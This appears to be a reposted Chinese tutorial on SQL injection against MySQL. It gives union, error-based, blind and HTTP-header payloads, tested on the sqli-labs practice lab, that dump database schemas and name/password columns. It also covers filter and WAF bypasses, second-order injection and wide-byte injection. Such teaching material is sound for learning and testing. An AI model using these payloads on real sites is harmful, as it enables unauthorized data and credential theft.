SQL注入总结

news2025/1/24 14:32:50

Sql注入定义:

就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。

sql注入分类:

基于联合查询

基于错误回显

基于盲注,分时间盲注和布尔型的盲注

基于user-agent

基于feferer

基于cookie

二次注入

宽字节注入

注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。

常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘)  、 “),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点,然后根据情况用不同的方法注入。

1.联合查询

通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询

首先来了解下mysql的系统函数

然后再来了解下union

UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。 UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同.默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。

order by 用于对结果集进行排序。

mysql 5.0版本以后提供了information.schema表,表中记录了数据库中所有的库、表、列等信息

理解Schema,schemata,schema_name,table_schema(这是我学习过程中最混淆的地方,可以对照phpmyadmin学习)

SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。(其中包含一列schema_name,即数据库名,不同于schema,schema_name只是单纯的数据库名)

TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表(其中包含table_schema,表中的对应的库名信息,table_name同样不同于tables,只是单纯的表名)

COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,注释等。是show columns from schemaname.tablename的结果取之此表(其中包含table_schema,表中对应的库名信息,table_nama表字段对应的表名,columns_name字段对应的字段名)

找到注入点后,我们用order by语句查询数据库中存在多少数据表

确定多少个表,为了便于说明,假设有三个数据表,

 下面我们就要查询敏感信息了,就要用到上面所说的系统函数了。

and 1=2 union select 1,version(),database()  --可以爆出当前使用的版本和数据库名

and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1   --爆出数据库名,依次使用limit2,1往下爆库名,

and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23  --也可以使用group_concat函数全部爆出来 

复制

我们假设其中有flag库

and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’  --爆出flag库下的所有的表,假设其中有flagtable表
 
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’ --爆出flagtable下的所有字段,假设有name和password字段
 
and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable  --爆出flag下的flagtable表的name和password的内容

复制

2.基于错误回显

 基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上

 所用到的函数

count() 统计元祖的个数(相当于求和),如select count(*) from information_schema.tables;

rand()用于产生一个0~1的随机数,如select rand();

floor()向下取整,如select floor(rand()*2);

group by 依据我们想要的规矩对结果进行分组,如select table_name,table_schema from information_schema.tables group by table_name;

group_concat将符合条件的同一列中的不同行数据拼接,如select group_concat(0x3a,0x3a,database(),0x3a);0x3a是十六进制的分号
又因头太长,为了美观,可以起一个别名,select group_concat(0x3a,0x3a,database(),0x3a)name;

复制

我们先将上面的整合下,

 select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;先生成随机数,并取证,然后用分号将不同的数据拼接,并取别名name,最后将结果以name进行分组并进行统计,能看到统计出的两个不同的取值,0和1。

再进行多次重复,看一下关于rand()函数与group by 在mysql中的错误报告,我们就是要利用group by part of rand() returns duplicate key error这个bug。

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
  --这个bug会爆出duplicate key这个错误,然后顺便就把数据也给爆了

公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(schema_name) from information_schema.schemata  ) )name from information_schema.tables group by name)a)  --爆出所有库名,同上面一样,假设有falg库
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(table_name) from information_schema.tables where table_schema=’flag’  ) )name from information_schema.tables group by name)a)  --爆出flag下的所有表,假设有flagtable表
 
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’  ) )name from information_schema.tables group by name)a)  --爆出flagtable表的所有字段,假设有name和password
 
 
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,(  select group_concat(name,password) from flag.flagtable  ) )name from information_schema.tables group by name)a)   --爆出name和password字段的内容

复制

3.  sql盲注

在不知道数据库具体返回值的情况下对数据库中的内容进行猜解,实施sql注入,一般分为基于布尔和基于时间类型的盲注。

3.1 基于布尔型的sql盲注

返回的界面只有两种情况,即TRUE和FALSE,这样说并不是很准确,因为SQL查询无非就这两种情况,应该说是盲注的时候你只能得到一个正常的页面或者是什么页面的不存在,甚至你在查询表的记录过程也不会有显示。

首先了解几个函数

爆数据库的路径and ascii(substr(@@datadir,1,1))>69   --然后使用二分法一步一步确定。
 
爆所有的数据库名
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101   --limit函数爆出的是第二个数据库的第一个字符,同上,假设其中一个库名为flag
 
爆数据库表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 0,1),1,1)))>100   --假设其中一个表名为flagtable
 
爆出数据库的列名
and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 0,1),1,1)))>100   --假设其中列名为name和password
 
爆出列里的数据内容and ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1),1,1))>48

复制

这样我们就一步一步的爆出数据库的信息了

 3.2 基于时间的盲注

web页面的返回值只有一种,true,无论输入任何值,它的返回都会按正确的来处理。加入特定的时间函数,通过查看是web页面返回的时间差来判断注入的语句是否正确

sleep()函数

执行将程序(进程)挂起一段时间

if(expr1,ecpr2,expr3)判断语句

爆库名
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))  --使用二分法,一步一步爆出数据库名,假设其中有一数据库名为flag
 
爆表名
and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 1,1) ,1,1))>101,1,sleep(3))   --假设有一表名为flagtable
 
爆列名
and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 1,1) ,1,1))>100,1,sleep(3))   --假设爆出列名为name和password
 
爆表中的内容
and if(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) 

复制

4.基于user-agent的注入

用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。 并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。 HTTP查询实例: GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa’ or 1/*

我们将火狐设置为本地代理,然后用brup suite抓包。

然后将包发送到Repeater

在user-Agent修改为’,2,(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )# 

就爆出了数据库的库名flag了,这是sqli-labs第十八关的测试结果,构造爆出表列的语句和基于错误回显的语句一样,这里就不多做说明了。

5. 基于头部Referer注入

http referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上referer,告诉服务器我是从哪个页面链接过来的,服务器以此可以获得一些信息用于处理

以下测试基于sqli-labs第十九关的测试结果

在referer中输入',(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )# 爆出数据库名为flag,其他注入语句和上雷同。

6. 基于cookie的注入

cookie(存储在用户本地终端上的数据)有服务器生成,发给user-agent(一般是浏览器),浏览器会把cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就会发送还cookie给服务器(前提是浏览器设置为启用cookie)。cookie名称和值可以有服务器端开发自己定义,对于jsp而言也可以直接写入jessionid,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等,服务器keyhi设置或读取cookie中包含信息,借此维护用户跟服务器会话中的状态。

火狐中插件friebug对其修改,或用burp suite抓包修改。

以下测试结果基于sqli-labs 第二十关

在cookie中加单引号测试报错,证明存在注入。然后在cookie中输入'and (select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) # 同样爆出的库名flag。

对于GET和POST的区别:

当然,上面所说的全是在裸机的情况下的结果,在正常情况下,会有些防护措施。下面介绍些绕过的方法。

1. base64编码

base64编码的思想是采用64个基本的ascii码字符对数据进行重新编码。它将需要编码的数据拆分字节数组。以3个字节为一组,按顺序排列24位数据,再把24位数据分成4组,即每组6位,再在每组的最高位前补两个0凑足一个字节,这样把一个3字节为一组的数据重新编码成4个字节。当所要编码的数据的字节不是3的整数倍,这时,在最后一组填充1到2个0字节。并在最后编码完成后在结尾添加1到2个”=“。

关于这个编码的规则: ①.把3个字符变成4个字符。 ②每76个字符加一个换行符。 ③.最后的结束符也要处理。

在火狐的插件heckbar中有此功能

1. 过滤关键字符

and ——&&

or  —— ||

空格被过滤

可以使用”%09   %0A   %0C   %0D    %0B”替代,也可以用or和and语句来构造到达闭合语句的效果。

union select 过滤

使用大小写绕过,如UNion,SElect

多次重复,如ununionion,selselectect

在union select 联合使用被过滤的情况,union all select

2. WAF应用防护系统

php get 获取参数时有一个特性,当某个参数被多次赋值时会保留最后一次被赋值时的值。如id=1&id=&2&id=3这时,程序会返回id=3的值,但WAF只对第一次的id进行测试,如果传入多个id,那么后面的id则存在注入漏洞

输入id=1&id=&2&id=3‘就会出现报错

1. 二次注入

注入过程分为两个部分,语句插入和语句执行。常规的注入中都是将sql语句插入后即可显示效果,出错或者得出注入结果,而二次注入的第一步不会产生任何反应,因为它只是一个语句的插入,并没有执行,在第二步运行时才能执行第一步插入的语句并显示结果。而这两个点可能不在同一位置。

此时修改密码,单引号闭合语句,井号注释后面的语句,修改的就不是admin’#的密码了,而是admin的密码。

2. 宽字节注入

GB2312 , GBK , GB18030 , BIG5 , SHIFT_JIS 等这些都是常说的宽字节(两个字节),ascii就是单字节(一个字节) GBK编码,他的范围是0x8410~0xFEFE(不包括xx7F)ascii编码,他的编码范围是ascii(0)~ascii(127),另外有一个扩展ascii打印字符,他的范围是ascii(128)~ascii(255)

3. addslashes()函数 在每个字符前添加反斜杠:\

my_sql_real_escape_string() my_sql_real_escape_string()函数转义sql语句中使用的字符串中的特殊符:\x00  ,  \n  , \r  ,  \  ,  ' ,  "   ,  、x1a

id=1,我们在后面家单引号,双引号都返回正常,因为被添加反斜杠或转义了,此时我们可以在测试字符前加%bf

id=1%bf’就会报错了,至于原因,阐述起来比较麻烦,各位同学去谷歌或者百度下吧

参考

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

本文分享自作者个人站点/博客:https://www.cnblogs.com/JetpropelledSnake/前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/632259.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NIN(Network In Network)

目录 论文信息摘要批注 主要工作1. MLPCONV结构1.1为什么11卷积层可以代替MLP层1.2 批注2. Global Average Pooling(GAP)3、NIN网络结构NIN论文解读及个人理解NIN网络的代码实现(pytorch) 参考文献 论文信息 论文名称:Network In Network 论…

SQL注入—报错注入

0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲…

SpringBoot集成WebSocket的两种方式

本站在2014年4月时曾全面的学习HTML5的技术,特写过HTML5的WebSocket示例,当时使用的Servlet3.0规范中的API,需要Tomcat7的支持(貌似在Tomcat6的后期维护版本也增加了WebSocket的支持),早在当初该示例还是本…

SVN注册下载安装以及使用一气呵成

本博客根据SVNbucket官方视频学习制作的,这里记录本人操作的记录 视频链接: https://www.bilibili.com/video/BV1k4411m7mP?vd_sourcea4c65e14d1ff11ea858cadc164fbb59e 一 .SVN的介绍 1.SVN是什么 查阅资料可以知道 ,这是一个开放源代码的版本控制系统,管理着随时间改变的…

docsify项目部署(华为云+宝塔+centos+docker+nginx)踩坑指南

docsify部署(华为云宝塔centosdockernginx) 🗡1、安装docker 首先在服务器中安装docker sudo yum install -y yum-utils由于之前我的python默认版本升级到了python3,但yum执行使用的是python2,就遇到报错 File &quo…

Hbase架构

HBase 系统遵循 Master/Salve 架构,由三种不同类型的组件组成: client 提供了访问hbase的接口提供cache缓存提高访问hbase的效率 , 比如region的信息 Zookeeper保证任何时候,集群中只有一个 Master;存储所有 Region 的寻址入口&…

基于深度学习的高精度工人阶梯检测识别系统(PyTorch+Pyside6+YOLOv5模型)

摘要:基于深度学习的高精度工人阶梯检测识别系统可用于日常生活中或野外来检测与定位工人阶梯目标,利用深度学习算法可实现图片、视频、摄像头等方式的工人阶梯目标检测识别,另外支持结果可视化与图片或视频检测结果的导出。本系统采用YOLOv5…

Verilog基础:标识符的层次名引用

相关文章 Verilog基础:表达式位宽的确定(位宽拓展) Verilog基础:表达式符号的确定 Verilog基础:数据类型 Verilog基础:位宽拓展和有符号数运算的联系 Verilog基础:case、casex、ca…

Java8 Stream详解及创建流方法使用示例(二)

本章介绍Stream 创建流的操作:创建流指的是将一个集合或其他数据源转换为 Stream 流对象的过程。通常情况下,我们可以使用 Stream 类的静态方法来创建流对象,如 Stream.of()、Collections.stream() 等。这些方法将返回一个 Stream 流对象&…

【模块三:职业成长】35|模块导读:回过头来看,你觉得架构师到底是做什么的?

你好,我是郭东白。我们今天就正式进入模块三的学习了。 我们在开篇词里面介绍了,模块三的目的是向你介绍架构师的能力维度,以及获取这些能力的方法。既然是总结架构师成长的课程,那么“什么是架构师”就是一个绕不过去的话题。 …

操作系统-内存管理-虚拟内存管理

目录 一、虚拟内存定义和特征 二、请求分页管理 页表机制 缺页中断机构 地址变换机构 三、页面置换算法 3.1最佳置换算法(OPT) 3.2先进先出置换算法(FIFO) 3.3最近最久未使用置换算法(LRU) 3.4时钟置换算法(CLOCK) 3.4.1简单时钟置换算法 3.4.2改进型时钟置换算法 四、…

数据库—mysql、数据库编程(API)

1. Linux平台准备 &#xff08;1&#xff09;安装SDK开发包的命令 sudo apt-get install libmysqlclient-dev &#xff08;2&#xff09;编译时需要链接的库:-lmysqlclient 2. mysql 的初始化和清理 #include <mysql/mysql.h> MYSQL mysql1; //创建句柄 mysql_init(&…

springboot+java高校图书馆图书借阅挂失崔还系统

功本次设计任务是要设计一个图书借阅系统&#xff0c;通过这个系统能够满足图书借阅系统的管理及用户的图书借阅功能。系统的主要功能包括&#xff1a;主页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;借阅证件管理&#xff0c;挂失信息管理&#xff0c;图书信息管理…

华为OD机试真题 JavaScript 实现【快速寻找某字符】【牛客练习题】

一、题目描述 给定一个一个目标值 target和一个 元素升序的无重复数字字符串 &#xff0c;写一个函数搜索 字符串 中的 target&#xff0c;如果目标值存在返回下标&#xff08;下标从 0 开始&#xff09;&#xff0c;否则返回 -1。 二、输入描述 第一行输入一个目标值target…

pullup和pulldown在verilog中的使用方法

0 前言 这段时间涉及到了IO-PAD&#xff0c;在IO-PAD的RTL的时候注意到了pullup和pulldown&#xff0c;对这个知识比较好奇&#xff0c;就研究了一下&#xff0c;顺便记录下来&#xff0c;IO-PAD的内容等我再研究研究再考虑记录吧 >_< 1 pullup和pulldown的介绍 pullu…

springboot3错误处理机制源码分析

ErrorMvcAutoConfiguration 在springboot启动时会自动装配默认的错误处理机制 ErrorMvcAutoConfiguration springboot正在运行&#xff0c;此时发生了404的错误。&#xff08;业务错误场景&#xff09;分析底层处理流程。 1.如果在对应的controller层中设置了对应的错误处理器…

【裸机开发】链接脚本(.lds文件)的基本语法

目录 一、什么是链接脚本&#xff1f; 二、链接脚本的基本语法格式 1、常用命令 2、内置变量 三、链接脚本的简单案例 一、什么是链接脚本&#xff1f; 一段程序的编译需要经历四个阶段&#xff08;预处理—编译—汇编—链接&#xff09;&#xff0c;而链接脚本管理的就是…

专业实习报告范本4篇

专业实习报告范本1 一、实习起止日期&#xff1a; 二、实习单位及部门&#xff08;岗位&#xff09;&#xff1a; 三、主要实习内容&#xff1a; 对基础知识和专业理论知识的掌握及运用情况&#xff1a; 通过两年半的学习和两个月的紧张培训&#xff0c;让我学会了电路图的分析…

彻底关闭 Win10 系统自动更新【四大步骤】

Windows 10 的自动更新非常顽固&#xff0c;多用户在网上试了各种关闭win10自动更新的方法&#xff0c;刚开始看着好像是关闭更新了&#xff0c;可没过多久系统就又开始自动更新了。今天笔者就来教大家如何彻底关闭win10自动更新&#xff0c;该方法亲测有效。 一、禁用 Window…

【AIGC】15、Grounding DINO | 将 DINO 扩展到开集目标检测

文章目录 一、背景二、方法2.1 特征抽取和加强2.2 Language-Guided Query Selection2.3 Cross-Modality Decoder2.4 Sub-sentence level text feature2.5 Loss Function 3、效果3.1 zero-shot transfer of grounding DINO3.2 Referring Object detection3.3 Ablations3.4 从 DI…